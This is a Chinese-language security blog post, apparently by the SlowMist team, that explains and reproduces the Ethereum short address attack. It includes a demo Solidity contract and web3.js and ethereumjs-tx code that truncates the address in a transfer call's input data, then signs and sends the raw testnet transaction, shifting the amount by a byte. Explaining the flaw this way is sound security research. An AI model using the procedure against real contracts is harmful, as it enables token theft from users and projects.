遗忘的亚特兰蒂斯：以太坊短地址攻击详解

by yudan@慢雾安全团队

 

0x00 概述

说到智能合约漏洞，第一时间映入脑海的可能都是算法溢出，call()函数滥用，假充值等漏洞，毕竟这是在很多智能合约上都有实例，并且危害等级也是比较高的，但是有一个漏洞也许很多人都见过、听过却不是很多人都关心的漏洞，它就像是人类世界的亚特兰蒂斯，很多人知道，却很少有研究报告，Google 上能找到的，也不过只是说原理而没有复现实战，有点纸上谈兵的感觉。大家都知道的是这是 EVM 层面的缺陷，而不是智能合约层面的问题，并且在我们默认的思维里面，这是一个已经被修复的漏洞。前段时间尝试翻查短地址攻击的官方修复方案，但是经过我的搜索，并没有找到相关的修复方案，Github 上也扒了一遍，也看不到历史 release 有相关的修复，于是，我猜，真的是我猜，EVM 层面可能并没有修复。

 

0x01 短地址攻击基础知识

短地址攻击其实就是每个 ERC20 的合约里面都有一个以下的函数

function transfer(address _to, uint256 _value) returns (bool success)

当对合约的这个函数进行调用的时候，其实在 EVM 层面来说是传入一串字节码,就像下图这样，可以在 Etherscan 里面查看每笔交易的 inputdata 里面的整个函数的调用数据

传入的字节码一共有 136 字节(正常来说)，里面包含方法的签名(前 4 字节),和传入的参数值（数据部分，包括传入的地址数据和金额数据，分别都为 32 字节，高位补零）。上面这个图是不正常的，只有 134 字节，这是我经过特殊处理过的，下面我会详细说

从上面的信息我们可以知道，EVM 是根据字节码识别传入的参数的，字节码是多少就是多少，也不会去验证。巧了，就是这样，漏洞就产生了，有人就想用不合法的地址，比如地址故意写少后几位，看看 EVM 会怎么处理，但是又巧了，EVM 不仅不会报错，还会“贴心”的帮你对地址进行补全操作，怎么补全的呢？就是将地址后面不足的部分，用金额数据部分的位数来补全，比方说你的地址本来是

0x1234567890123456789012345678901234567800

结果由于你心机叵测，故意写少两个 0，变成下面这样

0x12345678901234567890123456789012345678

那么“贴心”的 EVM 就会从字节码中的金额数据部分取两位对地址进行补全,而金额数据部分的前两位又恰好是 0，那么就是说你的地址还是原来的地址，但是数据部分就少 2 位了，怎么办呢？这就不符合 ABI 的字节数啦，没关系，“贴心”的 EVM 会将你的金额数据部分从末位开始补 0，补到为正常的 136 字节为止，那么有同学就要问了，如果我的地址有 6 个 0，那么我地址故意写少 6 个 0，是不是数据部分就多了 6 个 0？那不是发财了？

答案就是：你是对的

也就是说，本来填的数据是 1，变成字节码后是 0x1，如果地址少了 6 个字节，那么你的 data 就自动变成 0x1000000 啦！惊不惊喜，意不意外！

 

0x02 第一次出师

第一次我尝试使用 remix 进行复现，但结果是能预料到失败的，如下图，为什么呢？因为这是一个在 2017 年就被爆出的漏洞，修复方案满天飞，怎么可能那么简单的就让你成功了呢，所以前端肯定会对你的输入的地址进行过滤和检查，想成功，是 naive 的。

但是作为一个搞事情的人，怎么可以轻言放弃，既然没有找到官方修复方案，底层肯定就还有问题的，于是乎，我只能从最底层开始进行操作，我想到了使用 web3 进行漏洞复现

 

0x03 环境准备

1、操作系统：macOS
2、node : v8.11.0
3、web3:1.0.0-beta.36
4、rpc:infura
5、测试合约的 abi
6、示例合约：

pragma solidity ^0.4.24;
contract Test{
    uint totalSupply = 1e18;
    mapping(address => uint) balance;
    event TransferTo(address to,uint value);
    constructor() public {
        balance[msg.sender] = totalSupply;
    }
    function transferTo(address _to,uint _value) public {
        balance[msg.sender] -= _value;
        balance[_to] += _value;
        emit TransferTo(_to,_value);
    }
    function BalanceOf(address _owner) view  returns(uint){
        return balance[_owner];
    }
}

7、使用 remix 在测试网部署示例合约，获取合约的地址，下面会用到

⚠获取 abi 的方法：

solc --abi Test.sol > abi.txt

 

0x04 第二次出师(⚠本次所有操作均在命令行中执行)

1、键入 node 进入命令行提示符

2、在项目中引入 web3 并设置 provider（怎么下载 web3 这里不展开说明，有兴趣的可以自己查找，一个很简单的操作）

var Web3 = require('web3')
var web3 = new Web3(new Web3.providers.HttpProvider('https://kovan.infura.io/v3/<你自己的infura id>'))

3、创建合约实例:

var MyContract = new web3.eth.Contract(abi.txt 里面的 abi)

4、构造方法 abi,也就是构造我们上面说的交易里面的 inputdata，由于我们是要构造短地址攻击，所以我们的地址是要比正常的地址的位数要少的，为的就是要让 EVM 用零自动补全缺失的地址，但是正常的构造是会失败的，例如下图这样

但是，再次声明一下，作为一个搞事情的人，不能轻言放弃！于是我们需要一点特别的方法，一开始的时候我到了这里就以为会有检测就不行了，太天真，其实是 web3 的检测，我们需要一点特别的方法。这个方法分为两步

第一步，先构造正常的 abi，这次使用的地址是 ‘0xdfca6234eb09125632f8f3c71bf8733073b7cd00’

var abi = MyContract.methods.transferTo('0xdfca6234eb09125632f8f3c71bf8733073b7cd00','123').encodeABI() //请记住这里我只写了 123，下面有惊喜

如图，现在的 abi，也就是 inputdata，是 136 字节的。

第二步：使用一个小技巧，将 abi 里面地址后面的两个零偷偷抹掉，本来是 136 字节的，现在只有 134 字节了，也就是我上面说到的不正常的 inputdata，就是在这个时候构造出来的

以上就是把零抹掉之后的 abi

ok，一切都准备好之后就可以到最激动人心的时刻了

5、在项目中引入 ethereumjs-tx（怎么下载的这里也不详细展开）

var Tx = require('ethereumjs-tx')

6、导入你的私钥并做一些处理:

privatekey = Buffer('你的私钥','hex')

7、构造原始交易数据，这是一笔十分原生的以太坊交易数据，每一次的合约调用，其实都会构造下面这一个数据。有关这方面的知识也不详细展开，但是，除了 nonce 我们是不怎么了解之外，其他都是我们在 remix 上调用合约的时候会接触到的，有关于 nonce 的说明，其实就是帐号所发送的交易数量，比方说你的帐号曾经处理过 5 笔交易，那么 nonce 就等于4（nonce 从 0 开始），可以在 ehterscan 上查看到你的帐号的最后一笔交易的 nonce，以下是具体的交易数据：

var parameter = { data: '0x2ccb1b30000000000000000000000000dfca6234eb09125632f8f3c71bf8733073b7cd000000000000000000000000000000000000000000000000000000000000007b',//上面构造的 abi,贴进来，只有 134 个字节
  nonce: 174,//你发送交易的帐号的最后一笔交易的 nonce + 1
  gasLimit: '0x2dc6c0',
  gasPrice: '0x2540be400',
  value: '0x0',
  to: '0x6E2f32497a7da13907831544093D3Aa335eCbF33'//你部署的合约的地址
}

8、对交易进行签名和对交易做一点处理

var transaction = new Tx(parameter)//构建交易
transaction.sign(privatekey)//签名方法
var serializedTx = transaction.serialize()

9、发送交易

web3.eth.sendSignedTransaction('0x' + serializedTx.toString('hex'))

 

0x05 奇迹再现

通过预先设置的 event 事件我们可以看到，EVM 成功补零，输入本来是 123，但是 EVM 提取的结果却是 31488，本来的 16 进制 123 是 0x7b，现在是 0x7b00！刺激！

 

0x06 后记

“贴心”的我在测试网上也布了合约，而且我还验证了，可以在链上查询记录，眼见为实。

https://kovan.etherscan.io/address/0x6e2f32497a7da13907831544093d3aa335ecbf33

这次的操作，不禁使我想起了飞跃疯人院里面的那句话—But I tried, didn’t I? Goddamnit, at least I did that.

 

0x07 参考资料

web3js 1.0 接口方法(中文手册)
http://cw.hubwiz.com/card/c/web3.js-1.0/1/2/21/

短地址攻击详解
https://zhuanlan.zhihu.com/p/34470071

有关 ABI 的详细信息在这里
https://solidity-cn.readthedocs.io/zh/develop/abi-spec.html